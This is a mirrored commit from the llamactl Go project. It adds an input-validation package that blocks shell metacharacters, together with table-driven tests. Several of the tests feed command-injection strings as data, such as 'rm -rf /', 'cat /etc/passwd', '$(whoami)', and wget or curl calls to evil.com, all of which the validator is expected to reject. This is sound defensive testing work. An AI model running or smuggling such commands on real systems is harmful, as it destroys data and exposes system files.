mirror of
https://github.com/lordmathis/llamactl.git
synced 2025-11-06 00:54:23 +00:00
Split large package into subpackages
This commit is contained in:
117
pkg/validation/validation.go
Normal file
117
pkg/validation/validation.go
Normal file
@@ -0,0 +1,117 @@
|
||||
package validation
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"llamactl/pkg/instance"
|
||||
"reflect"
|
||||
"regexp"
|
||||
)
|
||||
|
||||
// Simple security validation that focuses only on actual injection risks
|
||||
var (
|
||||
// Block shell metacharacters that could enable command injection
|
||||
dangerousPatterns = []*regexp.Regexp{
|
||||
regexp.MustCompile(`[;&|$` + "`" + `]`), // Shell metacharacters
|
||||
regexp.MustCompile(`\$\(.*\)`), // Command substitution $(...)
|
||||
regexp.MustCompile("`.*`"), // Command substitution backticks
|
||||
regexp.MustCompile(`[\x00-\x1F\x7F]`), // Control characters (including newline, tab, null byte, etc.)
|
||||
}
|
||||
|
||||
// Simple validation for instance names
|
||||
validNamePattern = regexp.MustCompile(`^[a-zA-Z0-9_-]+$`)
|
||||
)
|
||||
|
||||
type ValidationError error
|
||||
|
||||
// validateStringForInjection checks if a string contains dangerous patterns
|
||||
func validateStringForInjection(value string) error {
|
||||
for _, pattern := range dangerousPatterns {
|
||||
if pattern.MatchString(value) {
|
||||
return ValidationError(fmt.Errorf("value contains potentially dangerous characters: %s", value))
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ValidateInstanceOptions performs minimal security validation
|
||||
func ValidateInstanceOptions(options *instance.CreateInstanceOptions) error {
|
||||
if options == nil {
|
||||
return ValidationError(fmt.Errorf("options cannot be nil"))
|
||||
}
|
||||
|
||||
// Use reflection to check all string fields for injection patterns
|
||||
if err := validateStructStrings(&options.LlamaServerOptions, ""); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Basic network validation - only check for reasonable ranges
|
||||
if options.Port < 0 || options.Port > 65535 {
|
||||
return ValidationError(fmt.Errorf("invalid port range"))
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// validateStructStrings recursively validates all string fields in a struct
|
||||
func validateStructStrings(v any, fieldPath string) error {
|
||||
val := reflect.ValueOf(v)
|
||||
if val.Kind() == reflect.Ptr {
|
||||
val = val.Elem()
|
||||
}
|
||||
|
||||
if val.Kind() != reflect.Struct {
|
||||
return nil
|
||||
}
|
||||
|
||||
typ := val.Type()
|
||||
for i := 0; i < val.NumField(); i++ {
|
||||
field := val.Field(i)
|
||||
fieldType := typ.Field(i)
|
||||
|
||||
if !field.CanInterface() {
|
||||
continue
|
||||
}
|
||||
|
||||
fieldName := fieldType.Name
|
||||
if fieldPath != "" {
|
||||
fieldName = fieldPath + "." + fieldName
|
||||
}
|
||||
|
||||
switch field.Kind() {
|
||||
case reflect.String:
|
||||
if err := validateStringForInjection(field.String()); err != nil {
|
||||
return ValidationError(fmt.Errorf("field %s: %w", fieldName, err))
|
||||
}
|
||||
|
||||
case reflect.Slice:
|
||||
if field.Type().Elem().Kind() == reflect.String {
|
||||
for j := 0; j < field.Len(); j++ {
|
||||
if err := validateStringForInjection(field.Index(j).String()); err != nil {
|
||||
return ValidationError(fmt.Errorf("field %s[%d]: %w", fieldName, j, err))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
case reflect.Struct:
|
||||
if err := validateStructStrings(field.Interface(), fieldName); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func ValidateInstanceName(name string) error {
|
||||
// Validate instance name
|
||||
if name == "" {
|
||||
return ValidationError(fmt.Errorf("name cannot be empty"))
|
||||
}
|
||||
if !validNamePattern.MatchString(name) {
|
||||
return ValidationError(fmt.Errorf("name contains invalid characters (only alphanumeric, hyphens, underscores allowed)"))
|
||||
}
|
||||
if len(name) > 50 {
|
||||
return ValidationError(fmt.Errorf("name too long (max 50 characters)"))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
256
pkg/validation/validation_test.go
Normal file
256
pkg/validation/validation_test.go
Normal file
@@ -0,0 +1,256 @@
|
||||
package validation_test
|
||||
|
||||
import (
|
||||
"llamactl/pkg/backends/llamacpp"
|
||||
"llamactl/pkg/instance"
|
||||
"llamactl/pkg/testutil"
|
||||
"llamactl/pkg/validation"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestValidateInstanceName(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
input string
|
||||
wantErr bool
|
||||
}{
|
||||
// Valid names
|
||||
{"simple name", "myinstance", false},
|
||||
{"with numbers", "instance123", false},
|
||||
{"with hyphens", "my-instance", false},
|
||||
{"with underscores", "my_instance", false},
|
||||
{"mixed valid chars", "test-instance_123", false},
|
||||
{"single char", "a", false},
|
||||
{"max length", strings.Repeat("a", 50), false},
|
||||
|
||||
// Invalid names - basic validation
|
||||
{"empty name", "", true},
|
||||
{"with spaces", "my instance", true},
|
||||
{"with dots", "my.instance", true},
|
||||
{"with special chars", "my@instance", true},
|
||||
{"too long", strings.Repeat("a", 51), true},
|
||||
|
||||
// Invalid names - injection prevention
|
||||
{"shell metachar semicolon", "test;ls", true},
|
||||
{"shell metachar pipe", "test|ls", true},
|
||||
{"shell metachar ampersand", "test&ls", true},
|
||||
{"shell metachar dollar", "test$var", true},
|
||||
{"shell metachar backtick", "test`cmd`", true},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
err := validation.ValidateInstanceName(tt.input)
|
||||
if (err != nil) != tt.wantErr {
|
||||
t.Errorf("ValidateInstanceName(%q) error = %v, wantErr %v", tt.input, err, tt.wantErr)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestValidateInstanceOptions_NilOptions(t *testing.T) {
|
||||
err := validation.ValidateInstanceOptions(nil)
|
||||
if err == nil {
|
||||
t.Error("Expected error for nil options")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "options cannot be nil") {
|
||||
t.Errorf("Expected 'options cannot be nil' error, got: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestValidateInstanceOptions_PortValidation(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
port int
|
||||
wantErr bool
|
||||
}{
|
||||
{"valid port 0", 0, false}, // 0 means auto-assign
|
||||
{"valid port 80", 80, false},
|
||||
{"valid port 8080", 8080, false},
|
||||
{"valid port 65535", 65535, false},
|
||||
{"negative port", -1, true},
|
||||
{"port too high", 65536, true},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
options := &instance.CreateInstanceOptions{
|
||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
||||
Port: tt.port,
|
||||
},
|
||||
}
|
||||
|
||||
err := validation.ValidateInstanceOptions(options)
|
||||
if (err != nil) != tt.wantErr {
|
||||
t.Errorf("ValidateInstanceOptions(port=%d) error = %v, wantErr %v", tt.port, err, tt.wantErr)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestValidateInstanceOptions_StringInjection(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
value string
|
||||
wantErr bool
|
||||
}{
|
||||
// Safe strings - these should all pass
|
||||
{"simple string", "model.gguf", false},
|
||||
{"path with slashes", "/path/to/model.gguf", false},
|
||||
{"with spaces", "my model file.gguf", false},
|
||||
{"with numbers", "model123.gguf", false},
|
||||
{"with dots", "model.v2.gguf", false},
|
||||
{"with equals", "param=value", false},
|
||||
{"with quotes", `"quoted string"`, false},
|
||||
{"empty string", "", false},
|
||||
{"with dashes", "model-name", false},
|
||||
{"with underscores", "model_name", false},
|
||||
|
||||
// Dangerous strings - command injection attempts
|
||||
{"semicolon injection", "model.gguf; rm -rf /", true},
|
||||
{"pipe injection", "model.gguf | cat /etc/passwd", true},
|
||||
{"ampersand injection", "model.gguf & wget evil.com", true},
|
||||
{"dollar injection", "model.gguf $HOME", true},
|
||||
{"backtick injection", "model.gguf `cat /etc/passwd`", true},
|
||||
{"command substitution", "model.gguf $(whoami)", true},
|
||||
{"multiple metacharacters", "model.gguf; cat /etc/passwd | grep root", true},
|
||||
|
||||
// Control character injection attempts
|
||||
{"newline injection", "model.gguf\nrm -rf /", true},
|
||||
{"carriage return", "model.gguf\rrm -rf /", true},
|
||||
{"tab injection", "model.gguf\trm -rf /", true},
|
||||
{"null byte", "model.gguf\x00rm -rf /", true},
|
||||
{"form feed", "model.gguf\frm -rf /", true},
|
||||
{"vertical tab", "model.gguf\vrm -rf /", true},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
// Test with Model field (string field)
|
||||
options := &instance.CreateInstanceOptions{
|
||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
||||
Model: tt.value,
|
||||
},
|
||||
}
|
||||
|
||||
err := validation.ValidateInstanceOptions(options)
|
||||
if (err != nil) != tt.wantErr {
|
||||
t.Errorf("ValidateInstanceOptions(model=%q) error = %v, wantErr %v", tt.value, err, tt.wantErr)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestValidateInstanceOptions_ArrayInjection(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
array []string
|
||||
wantErr bool
|
||||
}{
|
||||
// Safe arrays
|
||||
{"empty array", []string{}, false},
|
||||
{"single safe item", []string{"value1"}, false},
|
||||
{"multiple safe items", []string{"value1", "value2", "value3"}, false},
|
||||
{"paths", []string{"/path/to/file1", "/path/to/file2"}, false},
|
||||
|
||||
// Dangerous arrays - injection in different positions
|
||||
{"injection in first item", []string{"value1; rm -rf /", "value2"}, true},
|
||||
{"injection in middle item", []string{"value1", "value2 | cat /etc/passwd", "value3"}, true},
|
||||
{"injection in last item", []string{"value1", "value2", "value3 & wget evil.com"}, true},
|
||||
{"command substitution", []string{"$(whoami)", "value2"}, true},
|
||||
{"backtick injection", []string{"value1", "`cat /etc/passwd`"}, true},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
// Test with Lora field (array field)
|
||||
options := &instance.CreateInstanceOptions{
|
||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
||||
Lora: tt.array,
|
||||
},
|
||||
}
|
||||
|
||||
err := validation.ValidateInstanceOptions(options)
|
||||
if (err != nil) != tt.wantErr {
|
||||
t.Errorf("ValidateInstanceOptions(lora=%v) error = %v, wantErr %v", tt.array, err, tt.wantErr)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestValidateInstanceOptions_MultipleFieldInjection(t *testing.T) {
|
||||
// Test that injection in any field is caught
|
||||
tests := []struct {
|
||||
name string
|
||||
options *instance.CreateInstanceOptions
|
||||
wantErr bool
|
||||
}{
|
||||
{
|
||||
name: "injection in model field",
|
||||
options: &instance.CreateInstanceOptions{
|
||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
||||
Model: "safe.gguf",
|
||||
HFRepo: "microsoft/model; curl evil.com",
|
||||
},
|
||||
},
|
||||
wantErr: true,
|
||||
},
|
||||
{
|
||||
name: "injection in log file",
|
||||
options: &instance.CreateInstanceOptions{
|
||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
||||
Model: "safe.gguf",
|
||||
LogFile: "/tmp/log.txt | tee /etc/passwd",
|
||||
},
|
||||
},
|
||||
wantErr: true,
|
||||
},
|
||||
{
|
||||
name: "all safe fields",
|
||||
options: &instance.CreateInstanceOptions{
|
||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
||||
Model: "/path/to/model.gguf",
|
||||
HFRepo: "microsoft/DialoGPT-medium",
|
||||
LogFile: "/tmp/llama.log",
|
||||
Device: "cuda:0",
|
||||
Port: 8080,
|
||||
},
|
||||
},
|
||||
wantErr: false,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
err := validation.ValidateInstanceOptions(tt.options)
|
||||
if (err != nil) != tt.wantErr {
|
||||
t.Errorf("ValidateInstanceOptions() error = %v, wantErr %v", err, tt.wantErr)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestValidateInstanceOptions_NonStringFields(t *testing.T) {
|
||||
// Test that non-string fields don't interfere with validation
|
||||
options := &instance.CreateInstanceOptions{
|
||||
AutoRestart: testutil.BoolPtr(true),
|
||||
MaxRestarts: testutil.IntPtr(5),
|
||||
RestartDelay: testutil.IntPtr(10),
|
||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
||||
Port: 8080,
|
||||
GPULayers: 32,
|
||||
CtxSize: 4096,
|
||||
Temperature: 0.7,
|
||||
TopK: 40,
|
||||
TopP: 0.9,
|
||||
Verbose: true,
|
||||
FlashAttn: false,
|
||||
},
|
||||
}
|
||||
|
||||
err := validation.ValidateInstanceOptions(options)
|
||||
if err != nil {
|
||||
t.Errorf("ValidateInstanceOptions with non-string fields should not error, got: %v", err)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user